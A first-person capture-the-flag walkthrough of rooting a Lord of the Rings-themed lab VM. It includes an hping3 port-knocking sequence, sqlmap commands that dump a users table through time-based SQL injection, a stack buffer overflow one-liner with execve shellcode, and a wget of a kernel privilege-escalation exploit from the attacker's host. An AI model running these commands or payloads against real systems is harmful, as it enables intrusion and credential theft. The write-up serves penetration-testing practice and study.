Initially, I scanned the target using a slow, comprehensive scan using Zenmap but that only turned up one port.
Connecting to it revealed it’s banner
At first I jumped to a brute force thinking Latr, knock, and friend could all be related, and about half way through making the Hydra command I realized that was dumb and it’s probably related to port knocking. Port knocking refers to a “secret code” if you will, to open external Firewall ports. If you knock on the correct ports, the firewall will allow the host to connect to additional ports, if configured to do so. I’ve only heard it mentioned before and never actually did it in practice, so a quick Google search showed another write-up on Vulnhub for another VM. Modifying the string to the target’s IP and ports of “1, 2, 3”, so it looks like this
hping3 -S 192.168.42.136 -p 1 -c 1; hping3 -S 192.168.42.136 -p 2 -c 1; hping3 -S 192.168.42.136 -p 3 -c 1]
I decided to scan the target again.
1337 was found to be open and running Apache.
A quick note though – I modified my Zenmap scans to attack a much broader range of ports instead of their default. If I were to just do a regular SYN scan of the default ports, it wouldn’t have found 1337.
Navigating to the IP address over port 1337 showed a web page.
I scanned the website in Nikto next.
The only odd thing there was the POST option on just an image page. Next I ran the site through dirbuster. Nothing jumped out except for icons and images, so going to /images/ reveals two additional images, but they were also dead ends. Going to /icons shows yet another image
Checking the source reveals an base-64 encoded string
Decoding that yet again shows
Going to that shows a very basic login form for the Gates of Mordor
I have a feeling the password will be something along the lines of “onedoesnotsimplywalkintomordor”. However this looked like a SQL injection test. I first capture a request to the login via Burp Suite and then right click and click “Copy to File”.
I call my file sql.txt and then go to the directory that is stored in to run my SQLMap command
sqlmap -r sql.txt --dbs --threads 10
to give SQLMap the info it needs and tell it that if it finds an injection, tell me what databases there are and run at 10 threads (the max possible).
It didn’t get anything. So, per SQLMaps suggestion, I increased the level
sqlmap -r sql.txt --dbs --threads 10 --risk=3 --level=5
and it found a time-based injection
The DBs it found were:
This took around 20 minutes. Time-based SQL injections take forever.
*Note- through all this, I just hit enter at all the prompts SQLMap gave me; nothing special here.
Next is to fetch the tables
sqlmap -r sql.txt -D Webapp --tables --threads 10 --risk=3 --level=5
30 years later, it returns
Next is to get the columns from the table ”users’:
sqlmap -r sql.txt -D Webapp -T Users --columns --threads 10 --risk=3 --level=5
Another century goes by and I patrially have the column names, enough to know I’m just going to dump the column
sqlmap -r sql.txt -D Webapp -T Users --dump --threads 10 --risk=3 --level=5
I literally went to the grocery store and came back and it was still enumerating for another minute before it finished.
I then tried to login as smeagol over SSH.
It worked! Time for some enumeration.
I found a directory called SECRET and in it was 3 directories called door1, door2, and door3. I immediately had a panic attack because of my PTSD from tr0ll2 which had the same doors. Sure enough, each contained a binary called… file.
When tried to executed, it prompted it’s syntax which is almost copy+paste from the tr0ll2 VM.
So, I dusted off my old friend pattern.py and generated 300 characters.
I then used that as input into the file in door1 which resulted in no segmentation fault. I then tried 500 characters. Then 1000. Then decided to check on the other two doors. Door2 did the samething, but door3 threw a seg fault.
Confirmed buffer overflow. I’ll copy and paste my section on how to solve simple buffer overflows from my writeup on tr0ll2.
With this being done, I then fired up gdb and ran the program with 1000 characters.
But the program exited normally. Unbelievable. Like tr0ll2, the doors rotated, so the vulnerable binary was now at door1.
In gdb, with the correct binary loaded now, I typed r (to run the program) and then pasted my characters. It segfaulted at address 0x41376641.
I pasted that back into the pattern.py program and I have my buffer length until the stack.
So using the shell code
I then craft my exploit.
./file $(python -c 'print "A"*171 + "\x41\x66\x37\x41\"+"\x90"*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
And run it
A check shows ASLR is enabled, so the addresses are going to be changing. To be honest I never did this with ASLR enabled and I gave it a shot using the NOP spray method but ultimately failed (even tried to copy the python script g0blin wrote; no bueno though, I ran into Python errors).
I’ll be honest, I was stumped and I had to cheat. I had to look up what I was missing and it turns out I forgot to enumerate the rest of SQL DB.
I went back to enumerate and literally went to bed to wake up and see it did hardly anything so I went back, cleared the scan, and relaunched it and about 60 minutes later it finished with a hash for root.
I cracked the hash here, but SQLMap will automatically do it too.
I now know the MySQL DB type as well so I searchsploit for exploits affecting that version, and sure enough I find one that will escalate my privileges.
I put the script in my HTML folder on my machine, then wget it from the target machine while logged in as smeagol, then compile it.
Yet more errors.
I check the kernel and OS version, which is kernel 3.19, Ubuntu version 14.04. I look up an exploit for the Ubuntu version and find one that is similar to a previous one that affected kernel versions before 3.19 (overlayfs).
I wget that over, compile it, it actually compiles, and execute and I’m root.
Overall not the biggest fan of this one just because of the number of issues I ran into with it, but never-the-less thank for to whomever made it as it was definitely a challenge.